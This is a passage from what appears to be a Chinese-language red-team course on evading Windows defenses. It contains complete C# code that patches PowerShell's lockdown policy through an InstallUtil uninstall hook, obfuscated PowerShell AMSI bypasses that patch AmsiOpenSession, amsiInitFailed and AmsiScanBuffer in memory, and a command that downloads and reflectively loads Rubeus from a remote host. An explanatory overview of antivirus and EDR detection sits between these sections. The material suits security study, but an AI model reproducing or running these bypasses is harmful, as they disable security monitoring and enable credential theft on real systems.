MethodInfo lockdown_info = assem.GetType("System.Management.Automation.Security.SystemPolicy").GetMethod("GetSystemLockdownPolicy", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.Static);
RuntimeMethodHandle lockdown_handle = lockdown_info.MethodHandle;
```

2：在执行前，确保静态方法 GetSystemLockdownPolicy 被 JIT 引擎所编译。

```c#
RuntimeHelpers.PrepareMethod(lockdown_handle);
```

3：获得该函数编译后的机器码的指针

```c#
IntPtr lockdown_ptr = lockdown_handle.GetFunctionPointer();
```

4：使用 VirtualProtect API 确保该函数的代码是可写的

```c#
uint oldprot;
VirtualProtect(lockdown_ptr, new UIntPtr(4), 0x40, out oldprot);
```

5：补丁函数使其返回值为 0，即 **SystemEnforcementMode.None**。字节数组里是指令 **xor rax, rax; ret** 的操作码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/tIPrHFNE9HT0lncs-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/tIPrHFNE9HT0lncs-image.png)

```c#
var patch = new byte[] { 0x48, 0x31, 0xc0, 0xc3 };
Marshal.Copy(patch, 0, lockdown_ptr, 4);
```

6：使用 Microsoft,PowerShell.ConsoleShell 模块在当前进程中加载交互式的 PowerShell 会话

```c#
Microsoft.PowerShell.ConsoleShell.Start(System.Management.Automation.Runspaces.RunspaceConfiguration.Create(), "Banner", "Help", new string[] {"-exec", "bypass", "-nop"});
```

额外添加对文件 **C:\\Windows\\Microsoft.NET\\assembly\\GAC\_MSIL\\Microsoft.PowerShell.ConsoleHost\\v4.0\_3.0.0.0\_\_31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll** 的引用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/OU2ziZSBwPKJjveF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/OU2ziZSBwPKJjveF-image.png)

最终代码如下：

```c#
using System;
using System.Runtime.InteropServices;
using System.Runtime.CompilerServices;
using System.Reflection;

public class MainClass
{
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        public static void Main(string[] args)
        {
            Console.WriteLine("Not in Main");
        }

        public static void interactive()
        {

            Assembly assem = typeof(System.Management.Automation.Alignment).Assembly;
            MethodInfo lockdown_info = assem.GetType("System.Management.Automation.Security.SystemPolicy").GetMethod("GetSystemLockdownPolicy", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.Static);
            RuntimeMethodHandle lockdown_handle = lockdown_info.MethodHandle;
            RuntimeHelpers.PrepareMethod(lockdown_handle);
            IntPtr lockdown_ptr = lockdown_handle.GetFunctionPointer();
            uint oldprot;
            VirtualProtect(lockdown_ptr, new UIntPtr(4), 0x40, out oldprot);
            byte [] patch = new byte[] { 0x48, 0x31, 0xc0, 0xc3 };
            Marshal.Copy(patch, 0, lockdown_ptr, 4);
            Microsoft.PowerShell.ConsoleShell.Start(System.Management.Automation.Runspaces.RunspaceConfiguration.Create(), "Banner", "Help", new string[] {"-exec", "bypass", "-nop"});
        }
}


[System.ComponentModel.RunInstaller(true)]
public class Loader : System.Configuration.Install.Installer
{

        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            base.Uninstall(savedState);

            MainClass.interactive();
        }
}


```

这样，我们最终获得了 FullLanguage 模式的交互式 PowerShell 会话。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/74q1pJk5DA1DFgDK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/74q1pJk5DA1DFgDK-image.png)

### **在 CobaltStrike 中绕过 CLM**

在 CobaltStrike 中绕过 CLM 十分直接，powerpick 命令是通过非托管 PowerShell 实现的，即不使用 powershell.exe 或者 powershell\_ise.exe，不受限制。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ixiTIVyGEM8kQEgg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ixiTIVyGEM8kQEgg-image.png)

# 杀毒软件与EDR原理

### **背景**  


如今，渗透测试人员和红队操作员在红队行动中面临着重大挑战，因为杀毒软件和 EDR (终端检测与响应) 等安全产品会阻止许多载荷与工具的执行。在本章节中，我们将讨论攻击者用来规避检测的一些技术。

### **恶意软件检测**

杀毒软件采用多种技术组合来检测恶意软件，这些技术包括**静态分析**、**动态分析**、**基于特征的检测**、**启发式分析**、**行为分析**以及**机器学习等**。而 EDR 则更加复杂，维度更多。

#### **杀毒软件**

##### **静态分析**

静态分析是在不实际运行代码的情况下分析恶意软件二进制代码的过程。它涉及文件指纹 (例如哈希)、字节序列模式、逆向工程、加壳检测等。

##### **动态分析**

动态分析涉及在严密监控的虚拟环境中执行程序。它使用基于程序行为的方法进行恶意软件检测，涉及对 API 调用、对注册表更改、文件读写操作、网络连接与流量的监控、对内存操作的检视等方法。

##### **基于特征的检测**

基于特征的检测依赖于识别恶意软件代码中的已知模式或特征。杀毒软件使用已知恶意软件特征的数据库来扫描文件并将其与这些模式进行比较。如果找到匹配项，该文件将被标记为恶意文件。基于签名的检测可有效对抗已知的恶意软件，但难以识别新的或未知的威胁。

##### **启发式分析**

启发式分析检查文件的特征和结构，以确定它们是否表现出通常与恶意软件相关的特征。该技术不依赖于已知的特征，因此可以检测之前未知或修改过的恶意软件。然而，启发式分析有时会导致误报，将良性文件标记为恶意文件，因为它们与恶意软件相似。

##### **行为分析**

行为分析侧重于监视文件或程序执行时的操作和活动，而不是检查文件本身。此方法可以识别恶意行为，例如**对敏感数据的未授权访问**、与已知恶意服务器的通信，或尝试禁用安全产品。行为分析可以更有效地检测以前未知的恶意软件，但在威胁已经在系统上处于活动状态之前，它可能无法识别威胁。

##### **机器学习**

机器学习涉及使用算法来分析大量数据并识别可能表明恶意软件存在的模式或趋势。通过训练机器学习模型来识别已知恶意软件的特征并适应新威胁的出现。这种方法可以提高检测率并减少误报，但它仍然可能难以应对全新或独特的威胁。

#### **EDR**

EDR 有多个部分组成：Agent、遥测、传感器。

Agent，顾名思义，是安装在终端上的应用，它控制和使用来自传感器组件的数据，执行一些基本分析以确定给定的活动或一系列事件是否与攻击者行为一致，并将遥测数据转发到主服务器，主服务器进一步分析来自所有部署在一个环境中的 Agent 的事件。如果 Agent 认为某些活动或操作可疑，它可能会以发送到 SIEM 的警报的形式记录该恶意活动，或阻止恶意操作的执行，或返回无效值来欺骗攻击者。

传感器负责收集遥测数据，而遥测指的是 Agent 或者系统产生的原数据，例如进程的创建、文件的读写、对 URL 的访问等。这些数据可被防御者用于分析行为恶意与否。该 Github 仓库([https://github.com/tsale/EDR-Telemetry](https://github.com/tsale/EDR-Telemetry)) 罗列了一些常见 EDR 所收集的遥测数据：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/uJjnLeRYPFOScHqV-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/uJjnLeRYPFOScHqV-image.png)

EDR 相比杀毒软件，有着更加全面的检测，也更加棘手。在上述所讨论过的检测方式之外，EDR 有着更先进的检测，其中一些如下：

##### **API 调用检测**

一些在恶意软件中常用的 API 所对应的 NTAPI (例如 NtAllocateVirtualMemory)会被 EDR 通过用户态 Hooking 的方式劫持运行流程，从而实现对参数以及调用目的的检视，我们会在稍后讲解其原理与绕过。

##### **内核回调**

Windows 驱动程序能够在内核中注册回调例程，当特定事件发生时，例如进程的创建、映像文件的加载，会触发这些例程。例如，当一个新的进程创建后，注册了 PsSetCreateProcessNotifyRoutineEx 的所有驱动都会收到通知，从而采取对应行动，例如阻止该进程的创建，或者注入 EDR 的 DLL 从而实现 API 调用检测。

```c
NTSTATUS PsSetCreateProcessNotifyRoutineEx(
  [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,
  [in] BOOLEAN                           Remove
);
```

##### **ETW 事件**

Windows 事件跟踪 (ETW) 日志记录工具让开发人员够跟踪代码的执行、监视或调试潜在的问题。在网络安全的上下文中，ETW 提供了 Agent 无法直接获得的有价值的遥测。例如，加载到每个 .NET 进程中的 CLR 时使用 ETW 发出特定的事件，与其他机制相比，该事件可以更深入地了解主机上执行的托管代码的性质，这允许 EDR 代理收集新数据，从中创建新警报或丰富现有事件。

##### **过滤器驱动**

过滤器驱动可以实现对特定类型活动的检测与采取行动，例如与文件的交互、网络的交互等。现实一点的例子有，阻止对 lsass 进程的转储，EDR 可能会立即删除 LSASS 转储。还可以用于检测与阻止对其他主机的横向移动。

EDR 的绕过是一个有争议的话题，何为绕过？行为没有被立即阻止？没有产生警报？没有生成遥测？

# 反病毒扫描接口

在 Windows 主机上，我们可以通过**执行 exe 文件**、**加载恶意 dll** 等行为获得 Beacon 会话，此外，还可以通过一些脚本语言达到相同目的，例如使用 **PowerShell IEX** 命令将脚本下载到内存中执行，避免文件落地。传统的杀毒软件对此难以检测，而反病毒扫描接口 AMSI 提供了这么一个接口，可以实时捕获多种脚本语言例如 **Powershell**、**JScript**、**VBScript** 以及 **.NET 命令**等并传给本地杀毒软件检测。

AMSI 在Cobalt Strike中的体现则是我们在执行 powershell、powerpick、execute-assembly** 等命令的时候，操作会被拦截甚至丢失会话。好在的是，不是所有杀毒软件产品都支持 AMSI，并且尽管 **Windows Dedender** 支持 AMSI，如果用户安装了第三方不支持 AMSI 的安全产品，例如**火绒**杀毒软件，AMSI 便不可用了。

下图是AMSI被调用的流程图，**amsi.dll** 被载入到每个 PowerShell.exe 进程中并且提供了一系列导出函数，例如 AmsiInitalize、AmsiOpenSession、AmsiScanBuffer 等。脚本的内容会被传入 AmsiScanBuffer 函数中，在脚本被执行之前被判断是否是恶意的。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/04VI9BzV2cuVPbl8-1Aoimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/04VI9BzV2cuVPbl8-1Aoimage.png)

当脚本被启动时，AmsiInitalize 函数被调用，该函数有 2 个参数，分别是**应用名称**以及该函数执行完毕后被填充的 **HAMSICONTEXT** 结构体指针 **amsiContext**。并且 amsiContext 会作为参数传入 **AmsiOpenSession** 函数，而 AmsiOpenSession 会在调用完成后填充 **HAMSISESSION** 结构体指针 **amsiSession**。AmsiScanBuffer 函数接收多个参数，包含了 AmsiInitialize 填充的 参数 amsiContext、缓冲区内容、缓冲区长度、内容标识符、AmsiOpenSession 返回后填充的 amsiSession 参数、以及**扫描结果**。最终，Windows Dedender 将结果值返回给 AmsiScanBuffer。对于结果值，**1** 为非恶意，**32768** 为恶意。接下来我们分别攻击 AmsiOpenSession、AmsiInitialize 以及 AmsiScanBuffer 这 3 个函数。

### **攻击 AmsiOpenSession()**

AmsiOpenSession 函数原型如下：

```c++
HRESULT AmsiOpenSession(
  [in]  HAMSICONTEXT amsiContext,
  [out] HAMSISESSION *amsiSession
);
```

该函数只有 2 个参数，其中 **amsiContext** 是 AmsiInitialize 执行完毕后填充的参数，**amsiSession** 是 AmsiOpenSession 执行完毕后填充的参数。使用 IDA 对 amsi.dll 进行反汇编，得到如下的流程图：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/jdNoYSXAnf9KWqm1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/jdNoYSXAnf9KWqm1-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/EIksWnrBt4i2fzmt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/EIksWnrBt4i2fzmt-image.png)

虽然我们对 amsiContext 的结构并不了解，但我们能看到 amsiContext 的**第 2 个**以及**第 3 个 qword** 分别与 0 比较。此外，**RCX** 与 **RDX** 的值是否为 0 也决定了流程的走向。倒数第 2 行的指令 **mov eax, 0x80070057h** 则是将返回值 EAX 设置为**参数非法**的报错信息。

<table aria-label="Table 1" class="table table-sm" id="bkmrk-name-description-val"><thead><tr><th>Name</th><th>Description</th><th>Value</th></tr></thead><tbody><tr><td>S\_OK</td><td>Operation successful</td><td>0x00000000</td></tr><tr><td>E\_ABORT</td><td>Operation aborted</td><td>0x80004004</td></tr><tr><td>E\_ACCESSDENIED</td><td>General access denied error</td><td>0x80070005</td></tr><tr><td>E\_FAIL</td><td>Unspecified failure</td><td>0x80004005</td></tr><tr><td>E\_HANDLE</td><td>Handle that is not valid</td><td>0x80070006</td></tr><tr><td>**E\_INVALIDARG**</td><td>**One or more arguments are not valid**</td><td>**0x80070057**</td></tr><tr><td>E\_NOINTERFACE</td><td>No such interface supported</td><td>0x80004002</td></tr><tr><td>E\_NOTIMPL</td><td>Not implemented</td><td>0x80004001</td></tr><tr><td>E\_OUTOFMEMORY</td><td>Failed to allocate necessary memory</td><td>0x8007000E</td></tr><tr><td>E\_POINTER</td><td>Pointer that is not valid</td><td>0x80004003</td></tr><tr><td>E\_UNEXPECTED</td><td>Unexpected failure</td><td>0x8000FFFF</td></tr></tbody></table>

总结一下，以下任一情况发生，那么 EAX 值便为 **0x80070057h**，AmsiOpenSession 函数便会报错从而返回，后面的函数调用自然也不会发生，从而实现 AMSI 绕过。

```
RDX为0
RCX为0
RCX存储的地址的下一个QWORD为0
RCX存储的地址的下下个QWORD为0
```

在默认情况下，这 4 个条件是都不满足的，也就是 AmsiOpenSession 是可以正确返回的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ESpR26LZfPMW80tA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ESpR26LZfPMW80tA-image.png)

那么，我们可以手动补丁这 4 个值的任意一个。

我们可以使用 PowerShell 单行载荷来实现补丁 amsiContext 结构体中的第 2 个 qword，载荷内容如下：

```powershell
 $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);$ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);$buf = New-Object byte[](8);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)
```

这之间的过程是这样的

```
1：通过GetType()获得定义了Ref类型的组件里所有的类型
2：在列表中，根据AmsiUtils的属性特征，例如IsPublic=False, IsSerial=False，Name包含 "iUtils"子字符串等，定位到AmsiUtils
3：相似的方法定位到amsiContext
4：得到amsiContext参数的地址，将结构体中第2个QWORD补丁0
```

拆分的载荷如下：

```powershell
PS C:\Users\Administrator> $a=[Ref].Assembly.GetTypes()
PS C:\Users\Administrator> Foreach($b in $a) {if ($b.Name -like "*iUtils") {$b}}

IsPublic IsSerial Name                                     BaseType
-------- -------- ----                                     --------
False    False    AmsiUtils                                System.Object


PS C:\Users\Administrator> Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}
PS C:\Users\Administrator> $c.GetFields('NonPublic,Static')


Name                   : amsiContext
MetadataToken          : 67114386
FieldHandle            : System.RuntimeFieldHandle
Attributes             : Private, Static
FieldType              : System.IntPtr
MemberType             : Field
ReflectedType          : System.Management.Automation.AmsiUtils
DeclaringType          : System.Management.Automation.AmsiUtils
Module                 : System.Management.Automation.dll
IsPublic               : False
IsPrivate              : True
IsFamily               : False
IsAssembly             : False
IsFamilyAndAssembly    : False
IsFamilyOrAssembly     : False
IsStatic               : True
IsInitOnly             : False
IsLiteral              : False
IsNotSerialized        : False
IsSpecialName          : False
IsPinvokeImpl          : False
IsSecurityCritical     : True
IsSecuritySafeCritical : False
IsSecurityTransparent  : False
CustomAttributes       : {}

Name                   : amsiSession
MetadataToken          : 67114387
FieldHandle            : System.RuntimeFieldHandle
Attributes             : Private, Static
FieldType              : System.IntPtr
MemberType             : Field
ReflectedType          : System.Management.Automation.AmsiUtils
DeclaringType          : System.Management.Automation.AmsiUtils
Module                 : System.Management.Automation.dll
IsPublic               : False
IsPrivate              : True
IsFamily               : False
IsAssembly             : False
IsFamilyAndAssembly    : False
IsFamilyOrAssembly     : False
IsStatic               : True
IsInitOnly             : False
IsLiteral              : False
IsNotSerialized        : False
IsSpecialName          : False
IsPinvokeImpl          : False
IsSecurityCritical     : True
IsSecuritySafeCritical : False
IsSecurityTransparent  : False
CustomAttributes       : {}

Name                   : amsiInitFailed
MetadataToken          : 67114388
FieldHandle            : System.RuntimeFieldHandle
Attributes             : Private, Static
FieldType              : System.Boolean
MemberType             : Field
ReflectedType          : System.Management.Automation.AmsiUtils
DeclaringType          : System.Management.Automation.AmsiUtils
Module                 : System.Management.Automation.dll
IsPublic               : False
IsPrivate              : True
IsFamily               : False
IsAssembly             : False
IsFamilyAndAssembly    : False
IsFamilyOrAssembly     : False
IsStatic               : True
IsInitOnly             : False
IsLiteral              : False
IsNotSerialized        : False
IsSpecialName          : False
IsPinvokeImpl          : False
IsSecurityCritical     : True
IsSecuritySafeCritical : False
IsSecurityTransparent  : False
CustomAttributes       : {}

Name                   : amsiLockObject
MetadataToken          : 67114389
FieldHandle            : System.RuntimeFieldHandle
Attributes             : Private, Static
FieldType              : System.Object
MemberType             : Field
ReflectedType          : System.Management.Automation.AmsiUtils
DeclaringType          : System.Management.Automation.AmsiUtils
Module                 : System.Management.Automation.dll
IsPublic               : False
IsPrivate              : True
IsFamily               : False
IsAssembly             : False
IsFamilyAndAssembly    : False
IsFamilyOrAssembly     : False
IsStatic               : True
IsInitOnly             : False
IsLiteral              : False
IsNotSerialized        : False
IsSpecialName          : False
IsPinvokeImpl          : False
IsSecurityCritical     : True
IsSecuritySafeCritical : False
IsSecurityTransparent  : False
CustomAttributes       : {}



PS C:\Users\Administrator> $d=$c.GetFields('NonPublic,Static')
PS C:\Users\Administrator> Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}}
PS C:\Users\Administrator> $f.GetValue($null)
1601698866944
PS C:\Users\Administrator> $g=$f.GetValue($null);
PS C:\Users\Administrator> $ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);
PS C:\Users\Administrator> $buf = New-Object byte[](8)
PS C:\Users\Administrator> [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)
PS C:\Users\Administrator> invoke-mimikatz
invoke-mimikatz : The term 'invoke-mimikatz' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try
again.
At line:1 char:1
+ invoke-mimikatz
+ ~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (invoke-mimikatz:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
```

如果使用 Windows API 编程来实现将 **RCX** 赋 0 的话，PowerShell 代码如下：

```powershell
function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}


function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}


[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0x48,0x31,0xc9)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
```

运行结果如下所示，依旧成功绕过了 AMSI。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/jHVmGe6jpvFbxRHo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/jHVmGe6jpvFbxRHo-image.png)

### **攻击 AmsiInitialize()**

AmsiInitialize 的函数原型如下：

```c++
HRESULT AmsiInitialize(
  [in]  LPCWSTR      appName,
  [out] HAMSICONTEXT *amsiContext
);
```

该函数也是只有 2 个参数，其中函数执行后被填充的参数为 **amsiContext**。考虑到 amsiContext 会被传入后续的 AmsiOpenSession 函数作为参数，我们可以在该函数执行完毕后操纵该参数的值。

用 PowerShell 单行载荷的话，原始命令如下：

```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

因为 **"Amsi"** 字符串会被识别为恶意内容，我们可以通过在 AmsiOpenSession 部分所使用的技巧来实现混淆，最终的单行载荷为：

```powershell
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Failed") {$f=$e}};$f.SetValue($null,$true)
```

如图所示，我们成功绕过了 AMSI。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/keSJFqi12c6yiQvv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/keSJFqi12c6yiQvv-image.png)

### **攻击 AmsiScanBuffer()**

AmsiScanBuffer 的函数原型如下：

```c++
HRESULT AmsiScanBuffer(
  [in]           HAMSICONTEXT amsiContext,
  [in]           PVOID        buffer,
  [in]           ULONG        length,
  [in]           LPCWSTR      contentName,
  [in, optional] HAMSISESSION amsiSession,
  [out]          AMSI_RESULT  *result
);
```

该函数有 6 个参数，**amsiContext** 为 AmsiInitialize 函数执行完毕后填充的参数，**buffer** 与 **length** 分别为缓冲区内容与长度，**contentName** 为内容标识符，**amsiSession** 是 amsiOpenSession 函数执行完毕后填充的参数，**result** 是该函数执行完毕后填充的参数，表示被扫描内容的恶意程度。**AMSI\_RESULT** 结构体如下：

```c++
typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,
  AMSI_RESULT_NOT_DETECTED,
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,
  AMSI_RESULT_DETECTED
} ;
```

使用 IDA 查看该函数的汇编代码与流程图：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/Lum2cswvoFuN6F7S-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/Lum2cswvoFuN6F7S-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/lDY0c9L0zBHX27Ez-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/lDY0c9L0zBHX27Ez-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/6GZNzeRAGAgzNQIb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/6GZNzeRAGAgzNQIb-image.png)

从流程图中可见，有诸多的分支可以让函数的执行最终到达 **mov eax, 0x80070057** 指令。其中一条比较直接的路线如下：

```
cmp     rcx, rax
jz      short loc_1800082CA
```

该指令块将 RAX 与 RCX 进行数值比较，因为 RCX 与 RAX 的值在函数起始处与上述指令之间有被覆盖，所以难以补丁。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/3nhZQik7oqWrXilh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/3nhZQik7oqWrXilh-image.png)

**RCX** 与 **RAX** 如果不相等，会来到下列指令块。RCX 所储存的地址偏移 **0x14** 字节处的字节与立即数 **4** 进行 TEST 操作，即该字节的第 **3** 位是否被设置。

```
test    byte ptr [rcx+1Ch], 4
jz      short loc_1800082CA
```

操作结果不为 0 的话，流程来到如下指令块：

```
mov     rcx, [rcx+10h]
mov     r9, rbx
mov     [r11-50h], rbp
mov     [r11-58h], r14
mov     [rsp+88h+var_60], r8d
mov     [r11-68h], rdx
call    WPP_SF_qqDqq
```

该指令块没有跳转，因此继续向下执行，来到下述指令块。之前，**RSI** 被赋予 **RDX** 所存储的值，也就是 **Buffer 的地址**，所以不为 0，那么向下继续执行。

```
loc_1800082CA:
test    rsi, rsi
jz      short loc_180008337
```

如下指令块用于判断 **EDI** 是否为 0，在之前，EDI 被赋予了存储于 **R8D** 中的值。那么一切很明显了，如果 **R8** 为 0，那么就会从这里跳转到 **mov eax, 0x80070057** 指令。

```
test    edi, edi
jz      short loc_180008337
```

用 WinDBG 在 amsiScanBuffer 函数入口处将 R8 设置为 0，继续执行，我们发现 AMSI 被绕过了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/1eEBy8xoQu5Vzrbm-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/1eEBy8xoQu5Vzrbm-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/CFhB4ntC74CpZx2f-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/CFhB4ntC74CpZx2f-image.png)

如果我们试图在 AmsiScanBuffer 起始位置补丁如下指令将 R8 赋 0：

```
xor r8, r8;
```

操作码为 **4d31c0**。但是，这么做会导致 PowerShell 进程崩溃，因此后面指令赋的值在函数后续的执行流程中有被使用。因此，该绕过的路径理论上可行，但脱离 WinDBG 在实际中执行会遇到问题。

我们也可以在函数开头就强制 AmsiScanBuffer 返回 **E\_INVALIDARG 报错**，对应指令为

```
mov eax, 0x80070057
ret
```

操作码为 **b857000780c3**。不过，因为该操作码已经是 AMSI 绕过的特征之一，所以我们对此稍加混淆：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/lnsZ6jj3nn4NuRBs-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/lnsZ6jj3nn4NuRBs-image.png)

最终代码如下

```powershell
function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}


function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}


$a="A"
$b="msiS"
$c="canB"
$d="uffer"
[IntPtr]$funcAddr = LookupFunc amsi.dll ($a+$b+$c+$d)
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 12)
```

运行结果如图所示：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/BIXkRrk3gnVWqzHL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/BIXkRrk3gnVWqzHL-image.png)

# Windows事件追踪

Windows 事件追踪器 (ETW) 提供了一种追踪和记录**用户模式应用程序**和**内核模式驱动程序**引发的事件的机制。ETW 最初是为了**调试**和**性能监控**目的而引入的，但现在它可以用于检视 IoC，例如内存中的 **.NET 组件**。

当 .NET 组件被加载的时候，**Microsoft-Windows-DotNETRuntime** 提供者会产生 **AssemblyLoad** 的事件。让我们在内存中通过 .NET 反射运行 Rubeus.exe

```powershell
$data=(new-object System.Net.WebClient).DownloadData('http://192.168.0.45:443/rubeus.exe')
$assembly=[System.Reflection.Assembly]::Load($data)
```

但是，首先我们需要绕过 AMSI，因为 .NET 组件的内容也会被 AMSI 扫描。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/NafgtSgcDMCrVVrq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/NafgtSgcDMCrVVrq-image.png)

使用通过补丁 AmsiScanBuffer 的脚本来绕过 AMSI 对 .NET 组件的扫描，这样我们成功地将 Rubeus 加载到了内存中。

